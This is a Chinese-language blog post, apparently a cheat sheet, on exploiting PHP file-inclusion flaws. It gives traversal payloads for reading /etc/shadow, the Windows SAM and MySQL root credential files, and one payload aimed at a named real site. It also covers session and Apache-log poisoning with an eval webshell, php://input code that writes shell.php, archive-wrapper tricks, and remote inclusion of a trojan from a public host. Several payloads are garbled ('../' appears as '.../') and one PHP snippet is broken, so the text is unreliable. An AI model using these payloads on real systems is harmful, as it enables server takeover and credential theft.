文件包含漏洞利用技术总结

开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(默认关闭,是否允许include/require远程文件)该选项为on便是允许 包含URL 对象文件等。

PHP版本<=5.2 可以使用%00进行截断。(能截断的php版本都小于5.3)

漏洞挖掘payload

Linux**:**

.../.../.../.../.../.../.../.../etc/passwd // 账户信息

etc/passwd%00

...//...//etc/passwd

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

/etc/issue

/etc/group

/etc/hosts

/etc/motd

/etc/mysql/my.cnf

/proc/self/environ

/proc/version

/proc/cmdline

Windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

乌云****payload

.../.../.../.../.../.../.../.../.../.../etc/passwd

.../.../.../.../.../.../.../.../.../.../home/img/odp/log/access_log

./.../.../.../.../.../.../.../.../etc/passwd%00

.../.../ierp/bin/prop.xml

http://red.xunlei.com/index.php?id=.../test.php\&r=site/news

pagename=znjl&url=/WEB-INF/web.xml&errpage=/WEB-INF/web.xml

http://. ..//index.php?index=a&skin=&dataoptimize_html=/.../.../.../favicon.ico

...%2FWEB-INF%2Fweb.xml

.../WEB-INF/mvc-servlet.xml

本地包含

包含同目录下的文件

?file=test.txt

目录遍历

?file=./.../.../test.txt

包含图片马

先上传jpg图片木马,然后本地文件包含,如以下案例:

Session文件包含

前提:

1.seesion存储的位置

2.sesion内容可控

Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。

假设漏洞代码如下所示:
<?php session_start(); $ctfs= $_GET['ctfs']; _SESSION\['username'\]=ctfs; ?>

可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?> 将php语句写入session中

http://127.0.0.1/test.php?filename=C:\\phpStudy\\PHPTutorial\\tmp\\tmp\\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session 文件session文件名 **(真正的文件名默认都有个前缀就是sess_)**

本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/*<?php eval([$_POST]);?>*则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

利用/proc/self/environ进行包含

php://input(写入木马)

前提:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

zip://, bzip2://, zlib://

协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

思路:(也是上传之后包含文件)

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

bzip2://协议

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://协议

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

远程文件包含

远程文件包含的时候一句话木马后缀不能为php。

需要开启allow_url_include = On

http://127.0.0.1/test.php?filename=http://公网IP/muma.txt

伪协议

Ctf常用

?action=php://filter/read=convert.base64-encode/resource=login.php (Base64加密)

相关推荐
未完结的牵挂12 分钟前
高质量代理池go_Proxy_Pool
网络安全
HackKong2 小时前
小白怎样入门网络安全?
网络·学习·安全·web安全·网络安全·黑客
打码人的日常分享2 小时前
商用密码应用安全性评估,密评整体方案,密评管理测评要求和指南,运维文档,软件项目安全设计相关文档合集(Word原件)
运维·安全·web安全·系统安全·规格说明书
爱吃奶酪的松鼠丶2 小时前
Web安全之XSS攻击的防范
安全·web安全·xss
澜世2 小时前
2024小迪安全基础入门第三课
网络·笔记·安全·网络安全
vortex53 小时前
信息收集系列(六):路径爬取与目录爆破
网络安全·渗透·信息收集
.Ayang4 小时前
tomcat 后台部署 war 包 getshell
java·计算机网络·安全·web安全·网络安全·tomcat·网络攻击模型
Hacker_Oldv4 小时前
开放性实验——网络安全渗透测试
安全·web安全
星竹5 小时前
upload-labs-master第12关详细教程
网络安全
饮长安千年月5 小时前
浅谈就如何解出Reverse-迷宫题之老鼠走迷宫的一些思考
python·网络安全·逆向·ctf